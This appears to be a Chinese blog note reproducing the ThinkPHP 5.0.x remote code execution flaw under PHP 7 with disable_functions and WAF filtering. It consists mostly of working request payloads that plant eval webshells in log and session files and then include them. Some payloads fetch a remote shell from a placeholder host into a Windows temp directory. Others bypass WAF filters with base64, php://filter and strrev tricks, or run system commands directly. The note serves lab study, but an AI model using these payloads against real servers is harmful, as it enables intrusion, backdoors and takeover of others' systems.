这篇笔记分类总结了在 php7 并且有 disable_funtion 或waf 的环境下如何利用 thinkphp5.0.x 的 rce。第六节只归纳出打印 phpinfo 或执行 calc 的 payload,详细写 shell 的 payload 根据不同的过滤强度记录在 3.1、3.2、3.3、4.1、4.2 小节的复现过程中。笔记参考了很多师傅的博客,只是自己理顺思路、复现漏洞的记录,所有参考文章已贴在最后。(这篇随笔就是上篇搭环境提到的学长的任务)
一、实验环境
- PHP 7.3.4
- Windows 10
-
下载地址:
-
下载地址:
跟进 start.php,包含了一个 base.php 加载基础文件,然后调用 App::run()->send() 来执行应用
跟进 base.php,先是定义了一些 thinkphp 中用到的常量,然后载入 Loader 类、加载环境变量配置文件、注册自动加载、注册错误和异常处理机制、加载惯例配置文件
跟进注册自动加载的 register 函数
三、包含日志getshell
3.1本地复现(5.0.5)
thinkphp5.0.5 环境下复现,打印 phpinfo
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
写 shell 到日志文件中
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php eval($_POST['apple']); ?>
包含日志文件 getshell
/index.php?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=phpinfo();
但是由于一句话和日志混在一起的,日志基本很大,还可能写入令 php 解析错误的垃圾数据,所以通过一句话 copy 新一句话文件
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=echo copy("https://www.xxx.com/1.txt","D:/Major/phpstudy_pro/WWW/thinkphp_5.0.5_full/ant.php");
但是如果有严格的安全限制,比如不能含有 eval 等、日志文件很快被覆盖、网站目录被设置防篡改无法写入文件,这时的思路是,把一个远程 shell 写入可写目录,再去包含真正的 shell,即可绕过。首先在远程开一个 httpserver,加一层 url 编码防止被拦截,把 shell 写入 C:WindowsTemp 目录
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=file_put_contents(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70%5C%61%6E%74"),fopen("https://www.xxx.com/1.txt",'r'));
查看一下木马,确定成功写入,因为直接 var_dump(scandir('C:WindowsTemp')) 可能会被拦截,所以借助中间变量绕过
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202012/03.log&apple=$a="var_dump";$a(scandir(urldecode("%43%3A%5C%57%69%6E%64%6F%77%73%5C%54%65%6D%70")));
然后再次包含 C:WindowsTempant
/?s=captcha _method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=C:WindowsTempant&ant=phpinfo();
如果 thinkphp5.0.5 版本不是完整版,没有 captcha 路由,post 地址为 /index.php/index 也可以包含日志 getshell
/index.php/index _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
在 application/config.php
打印 phpinfo(这里的 phpinfo 信息不完整)
/index.php/index _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111
读取日志
/index.php/index _method=__construct&filter[]=readfile&server[REQUEST_METHOD]=../runtime/log/202012/04.log
写 shell 到日志文件中
/index.php/index _method=__construct&filter[]=call_user_func&server[REQUEST_METHOD]=<?php @eval($_POST['cmd']);?>
包含日志文件 getshell
/index.php/index _method=__construct&filter[]=think\__include_file&server[REQUEST_METHOD]=../runtime/log/202012/04.log&cmd=phpinfo();
/index.php?s=captcha _method=__construct&filter[]=phpinfo&server[REQUEST_METHOD]=1111111&method=get
四、包含session文件getshell
4.1本地复现(简单模式)
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
写 shell 到 session 中
/index.php?s=captcha Cookie: PHPSESSID=505test _method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['cmd'])?>&server[]=1
包含 session 文件 getshell
/index.php?s=captcha _method=__construct&method=get&filter[]=think\__include_file&get[]=D:Majorphpstudy_proExtensions mp mpsess_505test&server[]=1&cmd=passthru('ipconfig');
php标记: <?php <?= <? php函数: base64_decode file_get_contents convert_uuencode 关键字: php://
绕过 php 标记的思路为,对将要写入 session 文件的一句话木马编码
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ <?php @eval($_GET['r']);;?>
因为最终的利用是通过 inlcude 方法进行包含,所以想到可以利用 php://filter/read=convert.base64-decode/resource=D:/Major/phpstudy_pro/Extensions/tmp/tmp/sess_505test2 的方式进行解码,但是 session 里面会包含其他字符,谈一谈php://filter的妙用 文章有谈到如何构造合适的字符,使得 webshell 能够正确被 base64 解码。所以设置 session 为
POST /?s=captcha _method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
(注意:
- 这里的 + 号需要用 urlencode 编码为 %2b,不然会在写入 session 的时候被 urldecode 为空格,导致编码解码失败
- 用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 解码后为 <?php @eval($_GET['r']);;?> 而不用 PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= 解码后为 <?php @eval($_GET['r']);?> 的原因是直接使用前者无论怎么拼凑字符,都没法正常解码
- payload 前后有两个 ab 是为了让 shell payload 的前后两串字符串满足 base64 解码的长度,使其能正常解码
)
绕过 php:// 关键字需要审计源码的 Request.php 的 filterValue 方法是如何执行代码的,/thinkphp/library/think/Request.php 的 $value = call_user_func($filter, $value); 打断点,post 如下数据发现 filter 是可以传递多个的,同时参数为引用传递
/index.php?s=captcha _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
所以可以传递多个 filter 来对 value 进行多次传递处理,如先 base64_decode 后再将解码后的值传递给 include 进行包含,又因为 waf 对 base64_decode 这个函数进行了过滤的,可以多传递一个参数使用 strrev 反转函数绕过
<?php @eval(base64_decode($_GET['r']));;?> base64: PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8+ urlencode编码: PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2b
最终用 php://filter、base64 两次编码和 strrev() 反转函数绕过,写 shell 到 session 中
/index.php/?s=captcha Cookie: PHPSESSID=505test2 _method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
包含 session 文件 getshell
/index.php/?s=captcha&r=cGhwaW5mbygpOw== _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=2tset505_sses/pmt/pmt/snoisnetxE/orp_ydutsphp/rojaM/:D=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
/index.php?s=captcha /index.php/index(无captcha路由) _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
5.0.12<thinkphp<5.0.24 并开启 debug 时 payload 如下
?s=index/index _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
5.0.12<thinkphp<5.0.24 有 captcha 路由,无需开启 debug 时 payload 如下
?s=captcha _method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
参考文章
https://blog.csdn.net/qq_41891666/article/details/109505570
https://www.mrwu.red/web/3348.html
https://www.cnblogs.com/whoami101/archive/2004/01/13/13364884.html
https://forum.90sec.com/t/topic/704
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
https://www.cnblogs.com/timelesszhuang/p/3682767.html
https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/